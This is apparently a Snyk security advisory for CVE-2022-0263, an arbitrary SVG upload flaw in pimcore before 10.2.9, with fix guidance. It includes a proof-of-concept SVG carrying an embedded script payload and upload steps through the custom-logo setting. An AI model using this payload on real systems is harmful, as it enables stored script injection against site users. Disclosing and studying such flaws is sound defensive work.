Arbitrary File Upload Affecting pimcore/pimcore package, versions <10.2.9


Severity

Recommended
0.0
medium
0
10

CVSS assessment made by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of concept
EPSS
0.04% (6th percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications

Snyk Learn

Learn about Arbitrary File Upload vulnerabilities in an interactive lesson.

Start learning
  • Snyk IDSNYK-PHP-PIMCOREPIMCORE-2343464
  • published19 Jan 2022
  • disclosed19 Jan 2022
  • creditPocas

Introduced: 19 Jan 2022

CVE-2022-0263  (opens in a new tab)
CWE-434  (opens in a new tab)

How to fix?

Upgrade pimcore/pimcore to version 10.2.9 or higher.

Overview

pimcore/pimcore is a content & product management framework (CMS/PIM/E-Commerce).

Affected versions of this package are vulnerable to Arbitrary File Upload. Due to missing validation, it is possible to upload an infinite number of dangerous SVG files in Settings => System Settings => Appearance and Branding of the "pimcore" service.

PoC:

<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
   <rect width="300" height="100" style="fill:rgb(0,0,255);stroke-width:3;stroke:rgb(0,0,0)" />
   <script>alert(document.domain)</script>
</svg>

  1. Open the https://10.x-dev.pimcore.fun/admin/login?perspective=
  2. After login, Go to "Settings" => "System Setting" => "Appearance & Branding"
  3. Upload a SVG file using the Custom Logo Logic
  4. Open the URL of SVG file

CVSS Scores

version 3.1